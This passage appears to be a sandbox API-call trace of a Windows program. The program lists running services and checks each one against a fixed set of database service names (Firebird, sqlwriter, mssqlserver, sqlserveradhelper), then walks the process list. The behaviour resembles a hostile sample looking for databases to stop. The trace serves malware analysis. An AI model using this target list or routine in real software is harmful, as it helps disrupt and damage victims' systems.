	[0169.630] EnumServicesStatusExW (in: hSCManager=0x668538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4473948, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4473948, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0169.631] CloseServiceHandle (hSCObject=0x668538) returned 1
	[0169.631] lstrlenW (lpString="AppXSvc") returned 7
	[0169.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.631] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0169.632] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0169.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0169.632] lstrlenW (lpString="Audiosrv") returned 8
	[0169.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0169.632] lstrlenW (lpString="BFE") returned 3
	[0169.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0169.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0169.632] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0169.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0169.632] lstrlenW (lpString="CDPSvc") returned 6
	[0169.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0169.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0169.633] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0169.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0169.633] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0169.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0169.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0169.633] lstrlenW (lpString="CryptSvc") returned 8
	[0169.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0169.633] lstrlenW (lpString="DcomLaunch") returned 10
	[0169.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0169.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0169.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0169.633] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0169.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0169.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0169.634] lstrlenW (lpString="Dhcp") returned 4
	[0169.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0169.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0169.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0169.634] lstrlenW (lpString="Dnscache") returned 8
	[0169.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0169.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0169.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0169.634] lstrlenW (lpString="DPS") returned 3
	[0169.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0169.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0169.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0169.634] lstrlenW (lpString="DsmSvc") returned 6
	[0169.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0169.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0169.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0169.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0169.634] lstrlenW (lpString="DusmSvc") returned 7
	[0169.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0169.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0169.635] lstrlenW (lpString="EventLog") returned 8
	[0169.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0169.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0169.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0169.635] lstrlenW (lpString="EventSystem") returned 11
	[0169.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0169.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0169.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0169.635] lstrlenW (lpString="FontCache") returned 9
	[0169.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0169.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0169.635] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0169.635] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0169.635] lstrlenW (lpString="gpsvc") returned 5
	[0169.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0169.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0169.635] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0169.635] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0169.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0169.635] lstrlenW (lpString="iphlpsvc") returned 8
	[0169.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0169.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0169.636] lstrlenW (lpString="KeyIso") returned 6
	[0169.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0169.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0169.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0169.636] lstrlenW (lpString="LanmanServer") returned 12
	[0169.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0169.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0169.636] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0169.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0169.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0169.636] lstrlenW (lpString="lfsvc") returned 5
	[0169.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0169.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0169.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0169.636] lstrlenW (lpString="lmhosts") returned 7
	[0169.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0169.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0169.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0169.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0169.637] lstrlenW (lpString="LSM") returned 3
	[0169.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0169.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0169.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0169.637] lstrlenW (lpString="MpsSvc") returned 6
	[0169.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0169.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0169.637] lstrlenW (lpString="NcbService") returned 10
	[0169.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0169.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0169.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0169.637] lstrlenW (lpString="netprofm") returned 8
	[0169.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0169.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0169.637] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0169.637] lstrlenW (lpString="NgcSvc") returned 6
	[0169.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0169.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0169.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0169.638] lstrlenW (lpString="NlaSvc") returned 6
	[0169.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0169.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0169.638] lstrlenW (lpString="nsi") returned 3
	[0169.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0169.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0169.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0169.638] lstrlenW (lpString="PcaSvc") returned 6
	[0169.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0169.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0169.638] lstrlenW (lpString="PlugPlay") returned 8
	[0169.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0169.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0169.638] lstrlenW (lpString="Power") returned 5
	[0169.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0169.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0169.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0169.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0169.639] lstrlenW (lpString="ProfSvc") returned 7
	[0169.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0169.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0169.639] lstrlenW (lpString="RpcEptMapper") returned 12
	[0169.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0169.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0169.639] lstrlenW (lpString="RpcSs") returned 5
	[0169.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0169.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0169.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0169.639] lstrlenW (lpString="SamSs") returned 5
	[0169.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0169.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0169.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0169.639] lstrlenW (lpString="Schedule") returned 8
	[0169.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0169.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0169.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0169.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0169.640] lstrlenW (lpString="SecurityHealthService") returned 21
	[0169.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0169.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0169.640] lstrlenW (lpString="SENS") returned 4
	[0169.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0169.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0169.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0169.640] lstrlenW (lpString="ShellHWDetection") returned 16
	[0169.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0169.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0169.640] lstrlenW (lpString="Spooler") returned 7
	[0169.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0169.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0169.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0169.640] lstrlenW (lpString="StateRepository") returned 15
	[0169.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0169.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0169.640] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0169.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0169.640] lstrlenW (lpString="SysMain") returned 7
	[0169.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0169.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0169.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0169.641] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0169.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0169.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0169.641] lstrlenW (lpString="Themes") returned 6
	[0169.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0169.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0169.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0169.641] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0169.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.641] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0169.641] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0169.641] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4473948 | out: hHeap=0x610000) returned 1
	[0169.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x50c
	[0169.934] Process32FirstW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.935] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.935] lstrlenW (lpString="System") returned 6
	[0169.935] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.936] lstrlenW (lpString="smss.exe") returned 8
	[0169.936] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.936] lstrlenW (lpString="csrss.exe") returned 9
